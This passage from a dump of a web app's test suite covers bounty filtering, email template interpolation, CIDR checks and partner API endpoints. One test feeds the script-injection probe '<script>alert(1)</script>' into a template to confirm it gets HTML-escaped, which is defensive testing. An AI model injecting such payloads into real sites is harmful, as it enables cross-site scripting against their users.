filterActiveGroupBounties([bounty], {\n      groupId: GROUP_ID,\n      now: NOW,\n    });\n    expect(result).toHaveLength(0);\n  });\n\n  it(\"includes bounties that start exactly at now (startsAt === now, boundary is exclusive >)\", () => {\n    const bounty = makeCandidate({ startsAt: NOW });\n    const result = filterActiveGroupBounties([bounty], {\n      groupId: GROUP_ID,\n      now: NOW,\n    });\n    expect(result).toHaveLength(1);\n  });\n\n  it(\"excludes bounties whose endsAt is exactly now (endsAt === now, exclusive boundary)\", () => {\n    const bounty = makeCandidate({ endsAt: NOW });\n    const result = filterActiveGroupBounties([bounty], {\n      groupId: GROUP_ID,\n      now: NOW,\n    });\n    expect(result).toHaveLength(0);\n  });\n\n  it(\"excludes bounties that expired before now (endsAt < now)\", () => {\n    const bounty = makeCandidate({\n      endsAt: new Date(\"2025-05-31T00:00:00.000Z\"),\n    });\n    const result = filterActiveGroupBounties([bounty], {\n      groupId: GROUP_ID,\n      now: NOW,\n    });\n    expect(result).toHaveLength(0);\n  });\n\n  it(\"includes bounties with no endsAt (never expires)\", () => {\n    const bounty = makeCandidate({ endsAt: null });\n    const result = filterActiveGroupBounties([bounty], {\n      groupId: GROUP_ID,\n      now: NOW,\n    });\n    expect(result).toHaveLength(1);\n  });\n\n  it(\"includes global bounties (groups is empty) regardless of groupId\", () => {\n    const bounty = makeCandidate({ groups: [] });\n    const result = filterActiveGroupBounties([bounty], {\n      groupId: GROUP_ID,\n      now: NOW,\n    });\n    expect(result).toHaveLength(1);\n  });\n\n  it(\"includes group-scoped bounties when groups contains the matching groupId\", () => {\n    const bounty = makeCandidate({ groups: [{ groupId: GROUP_ID }] });\n    const result = filterActiveGroupBounties([bounty], {\n      groupId: GROUP_ID,\n      now: NOW,\n    });\n    expect(result).toHaveLength(1);\n  });\n\n  it(\"excludes group-scoped bounties when groups contains only a different groupId\", () => {\n    const bounty = makeCandidate({ groups: [{ groupId: OTHER_GROUP_ID }] });\n    const result = filterActiveGroupBounties([bounty], {\n      groupId: GROUP_ID,\n      now: NOW,\n    });\n    expect(result).toHaveLength(0);\n  });\n\n  it(\"includes group-scoped bounties when groups contains the matching groupId alongside others\", () => {\n    const bounty = makeCandidate({\n      groups: [{ groupId: OTHER_GROUP_ID }, { groupId: GROUP_ID }],\n    });\n    const result = filterActiveGroupBounties([bounty], {\n      groupId: GROUP_ID,\n      now: NOW,\n    });\n    expect(result).toHaveLength(1);\n  });\n\n  it(\"filters multiple bounties correctly in a mixed set\", () => {\n    const bounties = [\n      makeCandidate({\n        id: \"bnty_1\",\n        archivedAt: new Date(\"2025-01-01T00:00:00.000Z\"),\n      }),\n      makeCandidate({\n        id: \"bnty_2\",\n        startsAt: new Date(\"2025-07-01T00:00:00.000Z\"),\n      }),\n      makeCandidate({ id: \"bnty_3\", endsAt: NOW }),\n      makeCandidate({ id: \"bnty_4\", groups: [] }),\n      makeCandidate({ id: \"bnty_5\", groups: [{ groupId: GROUP_ID }] }),\n      makeCandidate({ id: \"bnty_6\", groups: [{ groupId: OTHER_GROUP_ID }] }),\n    ];\n\n    const result = filterActiveGroupBounties(bounties, {\n      groupId: GROUP_ID,\n      now: NOW,\n    });\n    expect(result.map((b) => b.id)).toEqual([\"bnty_4\", \"bnty_5\"]);\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/misc/interpolate-email-template.test.ts",
    "content": "import { interpolateEmailTemplate } from \"@/lib/api/workflows/interpolate-email-template\";\nimport { describe, expect, it } from \"vitest\";\n\ndescribe(\"interpolateEmailTemplate\", () => {\n  it(\"replaces a variable with its value\", () => {\n    expect(\n      interpolateEmailTemplate({\n        text: \"Hello {{PartnerName}}!\",\n        variables: { PartnerName: \"John\" },\n      }),\n    ).toBe(\"Hello John!\");\n  });\n\n  it(\"uses fallback when variable is null\", () => {\n    expect(\n      interpolateEmailTemplate({\n        text: \"Hello {{PartnerName | Guest}}!\",\n        variables: { PartnerName: null },\n      }),\n    ).toBe(\"Hello Guest!\");\n  });\n\n  it(\"uses value over fallback when value is present\", () => {\n    expect(\n      interpolateEmailTemplate({\n        text: \"Hello {{PartnerName | Guest}}!\",\n        variables: { PartnerName: \"John\" },\n      }),\n    ).toBe(\"Hello John!\");\n  });\n\n  it(\"falls back to empty string when variable is missing and no fallback set\", () => {\n    expect(\n      interpolateEmailTemplate({\n        text: \"Hello {{PartnerName}}!\",\n        variables: {},\n      }),\n    ).toBe(\"Hello !\");\n  });\n\n  it(\"renders PartnerLink as a clickable anchor for https URLs\", () => {\n    expect(\n      interpolateEmailTemplate({\n        text: \"Your link: {{PartnerLink}}\",\n        variables: { PartnerLink: \"https://example.com/foo\" },\n      }),\n    ).toBe(\n      'Your link: <a href=\"https://example.com/foo\" target=\"_blank\" rel=\"noopener noreferrer\">https://example.com/foo</a>',\n    );\n  });\n\n  it(\"renders PartnerLink fallback as plain text when variable is missing\", () => {\n    expect(\n      interpolateEmailTemplate({\n        text: \"Link: {{PartnerLink | N/A}}\",\n        variables: {},\n      }),\n    ).toBe(\"Link: N/A\");\n  });\n\n  it(\"HTML-escapes non-link variables to avoid injection\", () => {\n    expect(\n      interpolateEmailTemplate({\n        text: \"Hi {{PartnerName}}\",\n        variables: { PartnerName: \"<script>alert(1)</script>\" },\n      }),\n    ).toBe(\"Hi &lt;script&gt;alert(1)&lt;/script&gt;\");\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/misc/ip-cidr.test.ts",
    "content": "import { isIpInRange } from \"@/lib/middleware/utils/is-ip-in-range\";\nimport { describe, expect, it } from \"vitest\";\n\ndescribe(\"CIDR Range Checking\", () => {\n  describe(\"isIpInRange\", () => {\n    it(\"should return true for IPs in the range\", () => {\n      // Test with /24 range (256 IPs)\n      expect(isIpInRange(\"159.148.128.0\", \"159.148.128.0/24\")).toBe(true);\n      expect(isIpInRange(\"159.148.128.1\", \"159.148.128.0/24\")).toBe(true);\n      expect(isIpInRange(\"159.148.128.255\", \"159.148.128.0/24\")).toBe(true);\n\n      // Test with /16 range (65,536 IPs)\n      expect(isIpInRange(\"159.148.0.0\", \"159.148.0.0/16\")).toBe(true);\n      expect(isIpInRange(\"159.148.255.255\", \"159.148.0.0/16\")).toBe(true);\n    });\n\n    it(\"should return false for IPs outside the range\", () => {\n      // Test with /24 range\n      expect(isIpInRange(\"159.148.127.255\", \"159.148.128.0/24\")).toBe(false);\n      expect(isIpInRange(\"159.148.129.0\", \"159.148.128.0/24\")).toBe(false);\n\n      // Test with /16 range\n      expect(isIpInRange(\"159.147.255.255\", \"159.148.0.0/16\")).toBe(false);\n      expect(isIpInRange(\"159.149.0.0\", \"159.148.0.0/16\")).toBe(false);\n    });\n\n    it(\"should handle different CIDR prefix lengths\", () => {\n      // Test with /32 (single IP)\n      expect(isIpInRange(\"192.168.1.1\", \"192.168.1.1/32\")).toBe(true);\n      expect(isIpInRange(\"192.168.1.2\", \"192.168.1.1/32\")).toBe(false);\n\n      // Test with /8 (16,777,216 IPs)\n      expect(isIpInRange(\"10.0.0.0\", \"10.0.0.0/8\")).toBe(true);\n      expect(isIpInRange(\"10.255.255.255\", \"10.0.0.0/8\")).toBe(true);\n      expect(isIpInRange(\"11.0.0.0\", \"10.0.0.0/8\")).toBe(false);\n    });\n\n    it(\"should handle edge cases\", () => {\n      // Test with 0.0.0.0\n      expect(isIpInRange(\"0.0.0.0\", \"0.0.0.0/0\")).toBe(true);\n      expect(isIpInRange(\"255.255.255.255\", \"0.0.0.0/0\")).toBe(true);\n\n      // Test with invalid inputs\n      expect(isIpInRange(\"invalid-ip\", \"159.148.128.0/24\")).toBe(false);\n      expect(isIpInRange(\"159.148.128.0\", \"invalid-cidr\")).toBe(false);\n    });\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/partner-groups/index.test.ts",
    "content": "import { generateRandomName } from \"@/lib/names\";\nimport {\n  GroupExtendedProps,\n  GroupProps,\n  GroupWithProgramProps,\n} from \"@/lib/types\";\nimport {\n  DEFAULT_ADDITIONAL_PARTNER_LINKS,\n  DEFAULT_PARTNER_GROUP,\n  GroupSchema,\n} from \"@/lib/zod/schemas/groups\";\nimport { RESOURCE_COLORS } from \"@/ui/colors\";\nimport { randomValue } from \"@dub/utils\";\nimport slugify from \"@sindresorhus/slugify\";\nimport { describe, expect, test } from \"vitest\";\nimport { IntegrationHarness } from \"../utils/integration\";\n\nconst expectedGroup: Partial<GroupProps> = {\n  id: expect.any(String),\n  name: expect.any(String),\n  slug: expect.any(String),\n  color: expect.any(String),\n  logo: expect.any(String),\n  wordmark: expect.any(String),\n  holdingPeriodDays: expect.any(Number),\n  brandColor: null,\n  autoApprovePartnersEnabledAt: null,\n  clickReward: null,\n  leadReward: null,\n  saleReward: null,\n  discount: null,\n  maxPartnerLinks: DEFAULT_ADDITIONAL_PARTNER_LINKS,\n  linkStructure: \"short\",\n  additionalLinks: expect.any(Array),\n  moveRules: null,\n};\n\ndescribe.sequential(\"/groups/**\", async () => {\n  const h = new IntegrationHarness();\n  const { http } = await h.init();\n\n  let group: GroupProps;\n\n  test(\"POST /groups - create group\", async () => {\n    // Fetch the default group to get its default values\n    const { data: defaultGroup } = await http.get<GroupWithProgramProps>({\n      path: `/groups/${DEFAULT_PARTNER_GROUP.slug}`,\n    });\n\n    const groupName = generateRandomName();\n\n    const newGroup = {\n      name: `E2E-${groupName}`,\n      slug: slugify(groupName),\n      color: randomValue(RESOURCE_COLORS),\n    };\n\n    const { status, data } = await http.post<GroupProps>({\n      path: \"/groups\",\n      body: newGroup,\n    });\n\n    expect(status).toEqual(201);\n    expect(() => GroupSchema.parse(data)).not.toThrow();\n\n    expect(data).toStrictEqual({\n      ...expectedGroup,\n      ...newGroup,\n      logo: defaultGroup.logo,\n      wordmark: defaultGroup.wordmark,\n      brandColor: defaultGroup.brandColor,\n      additionalLinks: defaultGroup.additionalLinks,\n      maxPartnerLinks: defaultGroup.maxPartnerLinks,\n      linkStructure: defaultGroup.linkStructure,\n      holdingPeriodDays: defaultGroup.holdingPeriodDays,\n      autoApprovePartnersEnabledAt: defaultGroup.autoApprovePartnersEnabledAt,\n    });\n\n    group = data;\n  });\n\n  test(\"GET /groups/[groupId] - fetch single group\", async () => {\n    const { status, data } = await http.get<GroupWithProgramProps>({\n      path: `/groups/${group.id}`,\n    });\n\n    const {\n      applicationFormData,\n      applicationFormPublishedAt,\n      bounties,\n      landerData,\n      landerPublishedAt,\n      program,\n      ...fetchedGroup\n    } = data;\n\n    expect(status).toEqual(200);\n    expect(fetchedGroup).toStrictEqual({\n      ...group,\n      utmTemplate: null,\n    });\n  });\n\n  test(\"PATCH /groups/[groupId] - update group\", async () => {\n    const toUpdate = {\n      name: `E2E-${generateRandomName()}`,\n      color: randomValue(RESOURCE_COLORS),\n      maxPartnerLinks: 5,\n      linkStructure: \"query\",\n      holdingPeriodDays: 30,\n      additionalLinks: [\n        {\n          domain: \"example.com\",\n          path: \"\",\n          validationMode: \"domain\",\n        },\n        {\n          domain: \"acme.com\",\n          path: \"/products\",\n          validationMode: \"exact\",\n        },\n      ],\n    };\n\n    const { status, data: updatedGroup } = await http.patch<GroupProps>({\n      path: `/groups/${group.id}`,\n      body: {\n        ...toUpdate,\n        autoApprovePartners: true,\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(updatedGroup).toStrictEqual({\n      ...group,\n      ...toUpdate,\n      autoApprovePartnersEnabledAt: expect.any(String),\n    });\n\n    group = updatedGroup;\n  });\n\n  test(\"PATCH /groups/[groupId] - update group with group move rule\", async () => {\n    const moveRules = [\n      {\n        attribute: \"totalLeads\" as const,\n        operator: \"gte\" as const,\n        value: 10,\n      },\n    ];\n\n    const { status } = await http.patch<GroupProps>({\n      path: `/groups/${group.id}`,\n      body: {\n        moveRules,\n      },\n    });\n\n    expect(status).toEqual(200);\n\n    // Fetch the group to verify moveRules was persisted\n    const { data: fetchedGroup } = await http.get<GroupWithProgramProps>({\n      path: `/groups/${group.id}`,\n    });\n\n    const {\n      applicationFormData,\n      applicationFormPublishedAt,\n      landerData,\n      landerPublishedAt,\n      program,\n      ...updatedGroup\n    } = fetchedGroup;\n\n    expect(updatedGroup.moveRules).toStrictEqual(moveRules);\n\n    group = {\n      ...group,\n      moveRules,\n    };\n  });\n\n  test(\"PATCH /groups/[groupId] - add new rule to existing group move\", async () => {\n    const moveRules = [\n      {\n        attribute: \"totalLeads\" as const,\n        operator: \"gte\" as const,\n        value: 10,\n      },\n      {\n        attribute: \"totalConversions\" as const,\n        operator: \"gte\" as const,\n        value: 5,\n      },\n    ];\n\n    const { status } = await http.patch<GroupProps>({\n      path: `/groups/${group.id}`,\n      body: {\n        moveRules,\n      },\n    });\n\n    expect(status).toEqual(200);\n\n    // Fetch the group to verify moveRules was updated\n    const { data: fetchedGroup } = await http.get<GroupWithProgramProps>({\n      path: `/groups/${group.id}`,\n    });\n\n    const {\n      applicationFormData,\n      applicationFormPublishedAt,\n      landerData,\n      landerPublishedAt,\n      program,\n      ...updatedGroup\n    } = fetchedGroup;\n\n    expect(updatedGroup.moveRules).toStrictEqual(moveRules);\n\n    group = {\n      ...group,\n      moveRules,\n    };\n  });\n\n  test(\"PATCH /groups/[groupId] - remove group move rule\", async () => {\n    const { status } = await http.patch<GroupProps>({\n      path: `/groups/${group.id}`,\n      body: {\n        moveRules: [],\n      },\n    });\n\n    expect(status).toEqual(200);\n\n    // Fetch the group to verify moveRules was removed\n    const { data: fetchedGroup } = await http.get<GroupWithProgramProps>({\n      path: `/groups/${group.id}`,\n    });\n\n    const {\n      applicationFormData,\n      applicationFormPublishedAt,\n      landerData,\n      landerPublishedAt,\n      program,\n      ...updatedGroup\n    } = fetchedGroup;\n\n    expect(updatedGroup.moveRules).toBeNull();\n\n    group = {\n      ...group,\n      moveRules: null,\n    };\n  });\n\n  test(\"GET /groups - fetch all groups\", async () => {\n    const { status, data: groups } = await http.get<GroupExtendedProps[]>({\n      path: \"/groups\",\n    });\n\n    expect(status).toEqual(200);\n    expect(Array.isArray(groups)).toBe(true);\n    expect(groups.length).toBeGreaterThan(0);\n\n    const fetchedGroup = groups.find((g) => g.id === group.id);\n\n    expect(fetchedGroup).toStrictEqual({\n      id: group.id,\n      name: group.name,\n      slug: group.slug,\n      color: group.color,\n      additionalLinks: group.additionalLinks,\n      maxPartnerLinks: group.maxPartnerLinks,\n      linkStructure: group.linkStructure,\n      logo: group.logo,\n      wordmark: group.wordmark,\n      brandColor: group.brandColor,\n      holdingPeriodDays: group.holdingPeriodDays,\n      autoApprovePartnersEnabledAt: group.autoApprovePartnersEnabledAt,\n      totalPartners: 0,\n      totalClicks: 0,\n      totalLeads: 0,\n      totalSales: 0,\n      totalSaleAmount: 0,\n      totalConversions: 0,\n      totalCommissions: 0,\n      netRevenue: 0,\n      moveRules: null,\n    });\n  });\n\n  test(\"DELETE /groups/[groupId] - delete group\", async () => {\n    const { status, data } = await http.delete<{ id: string }>({\n      path: `/groups/${group.id}`,\n    });\n\n    expect(status).toEqual(200);\n    expect(data).toStrictEqual({\n      id: group.id,\n    });\n\n    const { status: getStatus } = await http.get({\n      path: `/groups/${group.id}`,\n    });\n\n    expect(getStatus).toEqual(404);\n  });\n});\n\n// TODO(kiran):\n// Add more test cases to test the default link creation and group move\n"
  },
  {
    "path": "apps/web/tests/partners/analytics.test.ts",
    "content": "import { partnerAnalyticsResponseSchema } from \"@/lib/zod/schemas/partners\";\nimport { describe, expect, test } from \"vitest\";\nimport * as z from \"zod/v4\";\nimport { env } from \"../utils/env\";\nimport { IntegrationHarness } from \"../utils/integration\";\nimport { E2E_PARTNER } from \"../utils/resource\";\n\nconst allowedGroupBy = [\"count\", \"timeseries\", \"top_links\"];\n\ndescribe.runIf(env.CI).sequential(\"GET /partners/analytics\", async () => {\n  const h = new IntegrationHarness();\n  const { http } = await h.init();\n\n  allowedGroupBy.map((groupBy) => {\n    test(`by ${groupBy}`, async () => {\n      const { status, data } = await http.get<any[]>({\n        path: \"/partners/analytics\",\n        query: {\n          groupBy,\n          event: \"composite\",\n          interval: \"30d\",\n          partnerId: E2E_PARTNER.id,\n        },\n      });\n\n      const responseSchema =\n        groupBy === \"count\"\n          ? partnerAnalyticsResponseSchema[groupBy].strict()\n          : z.array(partnerAnalyticsResponseSchema[groupBy].strict());\n\n      expect(status).toEqual(200);\n      expect(responseSchema.safeParse(data).success).toBeTruthy();\n    });\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/partners/ban-partner.test.ts",
    "content": "import { generateRandomName } from \"@/lib/names\";\nimport { EnrolledPartnerSchema as EnrolledPartnerSchemaDate } from \"@/lib/zod/schemas/partners\";\nimport { describe, expect, test } from \"vitest\";\nimport { fetchPartner } from \"../utils/fetch-partner\";\nimport { randomId, randomPartnerEmail } from \"../utils/helpers\";\nimport { IntegrationHarness } from \"../utils/integration\";\nimport { E2E_PARTNER_GROUP } from \"../utils/resource\";\nimport { normalizedPartnerDateFields } from \"./resource\";\n\nconst EnrolledPartnerSchema = EnrolledPartnerSchemaDate.extend(\n  normalizedPartnerDateFields.shape,\n);\n\ndescribe.sequential(\"POST /partners/ban\", async () => {\n  const h = new IntegrationHarness();\n  const { http } = await h.init();\n\n  test(\"ban partner by partnerId\", async () => {\n    const partner = {\n      name: generateRandomName(),\n      email: randomPartnerEmail(),\n      groupId: E2E_PARTNER_GROUP.id,\n    };\n\n    const { data: createdData, status: createStatus } = await http.post({\n      path: \"/partners\",\n      body: partner,\n    });\n\n    expect(createStatus).toEqual(201);\n    const createdPartner = EnrolledPartnerSchema.parse(createdData);\n\n    const { data: banData, status: banStatus } = await http.post<{\n      partnerId: string;\n    }>({\n      path: \"/partners/ban\",\n      body: {\n        partnerId: createdPartner.id,\n        reason: \"fraud\",\n      },\n    });\n\n    expect(banStatus).toEqual(200);\n    expect(banData.partnerId).toBe(createdPartner.id);\n\n    // Verify the partner is banned\n    const fetchedPartner = await fetchPartner({\n      http,\n      partnerId: createdPartner.id,\n    });\n    expect(fetchedPartner.status).toBe(\"banned\");\n  });\n\n  test(\"ban partner by tenantId\", async () => {\n    const tenantId = randomId();\n\n    const partner = {\n      name: generateRandomName(),\n      email: randomPartnerEmail(),\n      tenantId,\n      groupId: E2E_PARTNER_GROUP.id,\n    };\n\n    const { data: createdData, status: createStatus } = await http.post({\n      path: \"/partners\",\n      body: partner,\n    });\n\n    expect(createStatus).toEqual(201);\n    const createdPartner = EnrolledPartnerSchema.parse(createdData);\n    expect(createdPartner.tenantId).toBe(tenantId);\n\n    const { data: banData, status: banStatus } = await http.post<{\n      partnerId: string;\n    }>({\n      path: \"/partners/ban\",\n      body: {\n        tenantId,\n        reason: \"fraud\",\n      },\n    });\n\n    expect(banStatus).toEqual(200);\n    expect(banData.partnerId).toBe(createdPartner.id);\n\n    // Verify the partner is banned\n    const fetchedPartner = await fetchPartner({\n      http,\n      partnerId: createdPartner.id,\n    });\n    expect(fetchedPartner.status).toBe(\"banned\");\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/partners/create-partner-link.test.ts",
    "content": "import { Link } from \"@dub/prisma/client\";\nimport { expect, onTestFinished, test } from \"vitest\";\nimport { IntegrationHarness } from \"../utils/integration\";\nimport { E2E_PARTNER } from \"../utils/resource\";\nimport { LinkSchema } from \"../utils/schema\";\nimport { partnerLink } from \"./resource\";\n\ntest(\"POST /api/partners/links\", async () => {\n  const h = new IntegrationHarness();\n  const { http } = await h.init();\n\n  onTestFinished(async () => {\n    await h.deleteLink(link.id);\n  });\n\n  const { status, data: link } = await http.post<Link>({\n    path: \"/partners/links\",\n    body: {\n      partnerId: E2E_PARTNER.id,\n    },\n  });\n\n  expect(status).toEqual(201);\n  expect(LinkSchema.strict().parse(link)).toBeTruthy();\n  expect(link).toStrictEqual(partnerLink);\n});\n"
  },
  {
    "path": "apps/web/tests/partners/create-partner.test.ts",
    "content": "import { generateRandomName } from \"@/lib/names\";\nimport { EnrolledPartnerSchema as EnrolledPartnerSchemaDate } from \"@/lib/zod/schemas/partners\";\nimport { Link, Partner } from \"@dub/prisma/client\";\nimport { R2_URL } from \"@dub/utils\";\nimport slugify from \"@sindresorhus/slugify\";\nimport { describe, expect, test } from \"vitest\";\nimport { randomId, randomPartnerEmail } from \"../utils/helpers\";\nimport { IntegrationHarness } from \"../utils/integration\";\nimport { E2E_PARTNER_GROUP, E2E_PROGRAM } from \"../utils/resource\";\nimport { normalizedPartnerDateFields } from \"./resource\";\n\nfunction reEscape(s: string) {\n  return s.replace(/[.*+?^${}()|[\\]\\\\]/g, \"\\\\$&\");\n}\n\nconst EnrolledPartnerSchema = EnrolledPartnerSchemaDate.extend(\n  normalizedPartnerDateFields.shape,\n);\n\ndescribe.sequential(\"POST /partners\", async () => {\n  const h = new IntegrationHarness();\n  const { http } = await h.init();\n\n  test(\"with required fields only\", async () => {\n    const partner = {\n      name: generateRandomName(),\n      email: randomPartnerEmail(),\n      groupId: E2E_PARTNER_GROUP.id,\n    };\n\n    const { data, status } = await http.post<Link>({\n      path: \"/partners\",\n      body: partner,\n    });\n\n    expect(status).toEqual(201);\n    const parsed = EnrolledPartnerSchema.parse(data);\n    expect(parsed.name).toBe(partner.name);\n    expect(parsed.email).toBe(partner.email);\n  });\n\n  test(\"with all fields\", async () => {\n    const partner = {\n      name: generateRandomName(),\n      email: randomPartnerEmail(),\n      tenantId: randomId(),\n      groupId: E2E_PARTNER_GROUP.id,\n      description: \"A description of the partner\",\n      country: \"US\",\n    };\n\n    const { data, status } = await http.post<Link>({\n      path: \"/partners\",\n      body: {\n        ...partner,\n        image: `https://api.dicebear.com/9.x/micah/png?seed=${partner.tenantId}`,\n      },\n    });\n\n    expect(status).toEqual(201);\n    const parsed = EnrolledPartnerSchema.parse(data);\n    expect(parsed.name).toBe(partner.name);\n    expect(parsed.email).toBe(partner.email);\n    expect(parsed.tenantId).toBe(partner.tenantId);\n    expect(parsed.description).toBe(partner.description);\n    expect(parsed.country).toBe(partner.country);\n\n    // wait 2.5s, and then request the partners/[partnerId] endpoint\n    await new Promise((resolve) => setTimeout(resolve, 2500));\n    const { data: partnerData } = await http.get<Partner>({\n      path: `/partners/${data.id}`,\n    });\n\n    // make sure the image is successfully stored in R2\n    expect(partnerData.image).toMatch(\n      new RegExp(`^${R2_URL}/partners/${data.id}/image_.*`),\n    );\n  });\n\n  test(\"with link props\", async () => {\n    const username = randomId();\n\n    const partner = {\n      name: generateRandomName(),\n      email: randomPartnerEmail(),\n      groupId: E2E_PARTNER_GROUP.id,\n    };\n\n    const { data, status } = await http.post<Link>({\n      path: \"/partners\",\n      body: {\n        username,\n        ...partner,\n      },\n    });\n\n    expect(status).toEqual(201);\n    const parsed = EnrolledPartnerSchema.parse(data);\n    expect(parsed.name).toBe(partner.name);\n    expect(parsed.email).toBe(partner.email);\n    const keyRe = new RegExp(`^${reEscape(username)}(-[a-z0-9]{4})?$`);\n    expect(parsed.links).toEqual(\n      expect.arrayContaining([\n        expect.objectContaining({\n          domain: E2E_PROGRAM.domain,\n          url: expect.stringMatching(/^https?:\\/\\//),\n          key: expect.stringMatching(keyRe),\n          shortLink: expect.stringMatching(\n            new RegExp(\n              `^https://${reEscape(E2E_PROGRAM.domain)}/${reEscape(username)}(-[a-z0-9]{4})?$`,\n            ),\n          ),\n          clicks: 0,\n          leads: 0,\n          sales: 0,\n          saleAmount: 0,\n        }),\n      ]),\n    );\n  });\n\n  test(\"with linkProps.prefix on default link\", async () => {\n    const id = randomId();\n    const email = `prefix-e2e-${id}@example.com`;\n    const identitySlug = slugify(email.split(\"@\")[0]);\n    const prefixedKeyRe = new RegExp(\n      `^c/${reEscape(identitySlug)}(-[a-z0-9]{4})?$`,\n    );\n\n    const { data, status } = await http.post<Link>({\n      path: \"/partners\",\n      body: {\n        email,\n        groupId: E2E_PARTNER_GROUP.id,\n        linkProps: { prefix: \"/c/\" },\n      },\n    });\n\n    expect(status).toEqual(201);\n    const parsed = EnrolledPartnerSchema.parse(data);\n    expect(parsed.links?.length).toBeGreaterThanOrEqual(1);\n    for (const link of parsed.links!) {\n      expect(link.key).toMatch(prefixedKeyRe);\n      expect(link.shortLink).toBe(`https://${link.domain}/${link.key}`);\n    }\n  });\n\n  test(\"upsert behavior - update existing partner with tenantId\", async () => {\n    const email = randomPartnerEmail();\n\n    // First, create a partner with email and no tenantId\n    const initialPartner = {\n      email,\n      name: generateRandomName(),\n      groupId: E2E_PARTNER_GROUP.id,\n    };\n\n    const { data: firstData, status: firstStatus } = await http.post<Partner>({\n      path: \"/partners\",\n      body: initialPartner,\n    });\n\n    expect(firstStatus).toEqual(201);\n\n    const firstParsed = EnrolledPartnerSchema.parse(firstData);\n    expect(firstParsed.name).toBe(initialPartner.name);\n    expect(firstParsed.email).toBe(initialPartner.email);\n    expect(firstParsed.tenantId).toBeNull();\n\n    // Then, create the same partner with the same email but with a tenantId\n    const updatedPartner = {\n      email,\n      tenantId: randomId(),\n    };\n\n    const { data: secondData, status: secondStatus } = await http.post<Partner>(\n      {\n        path: \"/partners\",\n        body: updatedPartner,\n      },\n    );\n\n    expect(secondStatus).toEqual(201);\n    const secondParsed = EnrolledPartnerSchema.parse(secondData);\n\n    // Should be the same partner (same ID) but with updated fields\n    expect(secondParsed.id).toBe(firstParsed.id);\n    expect(secondParsed.email).toBe(email);\n    expect(secondParsed.tenantId).toBe(updatedPartner.tenantId);\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/partners/deactivate-partner.test.ts",
    "content": "import { generateRandomName } from \"@/lib/names\";\nimport { EnrolledPartnerSchema as EnrolledPartnerSchemaDate } from \"@/lib/zod/schemas/partners\";\nimport { describe, expect, test } from \"vitest\";\nimport { fetchPartner } from \"../utils/fetch-partner\";\nimport { randomId, randomPartnerEmail } from \"../utils/helpers\";\nimport { IntegrationHarness } from \"../utils/integration\";\nimport { E2E_PARTNER_GROUP } from \"../utils/resource\";\nimport { normalizedPartnerDateFields } from \"./resource\";\n\nconst EnrolledPartnerSchema = EnrolledPartnerSchemaDate.extend(\n  normalizedPartnerDateFields.shape,\n);\n\ndescribe.concurrent(\"POST /partners/deactivate\", async () => {\n  const h = new IntegrationHarness();\n  const { http } = await h.init();\n\n  test(\"deactivate partner by partnerId\", async () => {\n    const partner = {\n      name: generateRandomName(),\n      email: randomPartnerEmail(),\n      groupId: E2E_PARTNER_GROUP.id,\n    };\n\n    const { data: createdData, status: createStatus } = await http.post({\n      path: \"/partners\",\n      body: partner,\n    });\n\n    expect(createStatus).toEqual(201);\n    const createdPartner = EnrolledPartnerSchema.parse(createdData);\n\n    const { data: deactivateData, status: deactivateStatus } = await http.post<{\n      partnerId: string;\n    }>({\n      path: \"/partners/deactivate\",\n      body: {\n        partnerId: createdPartner.id,\n      },\n    });\n\n    expect(deactivateStatus).toEqual(200);\n    expect(deactivateData.partnerId).toBe(createdPartner.id);\n\n    // Verify the partner is deactivated\n    const fetchedPartner = await fetchPartner({\n      http,\n      partnerId: createdPartner.id,\n    });\n    expect(fetchedPartner.status).toBe(\"deactivated\");\n  });\n\n  test(\"deactivate partner by tenantId\", async () => {\n    const tenantId = randomId();\n\n    const partner = {\n      name: generateRandomName(),\n      email: randomPartnerEmail(),\n      tenantId,\n      groupId: E2E_PARTNER_GROUP.id,\n    };\n\n    const { data: createdData, status: createStatus } = await http.post({\n      path: \"/partners\",\n      body: partner,\n    });\n\n    expect(createStatus).toEqual(201);\n    const createdPartner = EnrolledPartnerSchema.parse(createdData);\n    expect(createdPartner.tenantId).toBe(tenantId);\n\n    const { data: deactivateData, status: deactivateStatus } = await http.post<{\n      partnerId: string;\n    }>({\n      path: \"/partners/deactivate\",\n      body: {\n        tenantId,\n      },\n    });\n\n    expect(deactivateStatus).toEqual(200);\n    expect(deactivateData.partnerId).toBe(createdPartner.id);\n\n    // Verify the partner is deactivated\n    const fetchedPartner = await fetchPartner({\n      http,\n      partnerId: createdPartner.id,\n    });\n    expect(fetchedPartner.status).toBe(\"deactivated\");\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/partners/list-partners.test.ts",
    "content": "import { EnrolledPartnerProps } from \"@/lib/types\";\nimport { EnrolledPartnerSchema as EnrolledPartnerSchemaDate } from \"@/lib/zod/schemas/partners\";\nimport { describe, expect, test } from \"vitest\";\nimport { IntegrationHarness } from \"../utils/integration\";\nimport { E2E_PARTNER } from \"../utils/resource\";\nimport { normalizedPartnerDateFields } from \"./resource\";\n\n// type coercion for date fields\nconst EnrolledPartnerSchema = EnrolledPartnerSchemaDate.extend(\n  normalizedPartnerDateFields.shape,\n);\n\ndescribe.sequential(\"GET /partners\", async () => {\n  const h = new IntegrationHarness();\n  const { http } = await h.init();\n\n  test(\"returns list of partners with basic fields\", async () => {\n    const { data, status } = await http.get<EnrolledPartnerProps[]>({\n      path: \"/partners\",\n    });\n\n    expect(status).toEqual(200);\n    expect(Array.isArray(data)).toBe(true);\n\n    if (data.length > 0) {\n      // Validate each partner against the basic schema\n      data.forEach((partner) => EnrolledPartnerSchema.parse(partner));\n    }\n  });\n\n  test(\"returns list of partners with expanded fields\", async () => {\n    const { data, status } = await http.get<EnrolledPartnerProps[]>({\n      path: \"/partners\",\n      query: {\n        includeExpandedFields: \"true\",\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(Array.isArray(data)).toBe(true);\n\n    if (data.length > 0) {\n      // Validate each partner against the expanded schema\n      data.forEach((partner) => EnrolledPartnerSchema.parse(partner));\n    }\n  });\n\n  test(\"filters partners by status\", async () => {\n    const { data, status } = await http.get<EnrolledPartnerProps[]>({\n      path: \"/partners\",\n      query: {\n        status: \"approved\",\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(Array.isArray(data)).toBe(true);\n\n    // All partners should have approved status\n    data.forEach((partner) => {\n      const parsed = 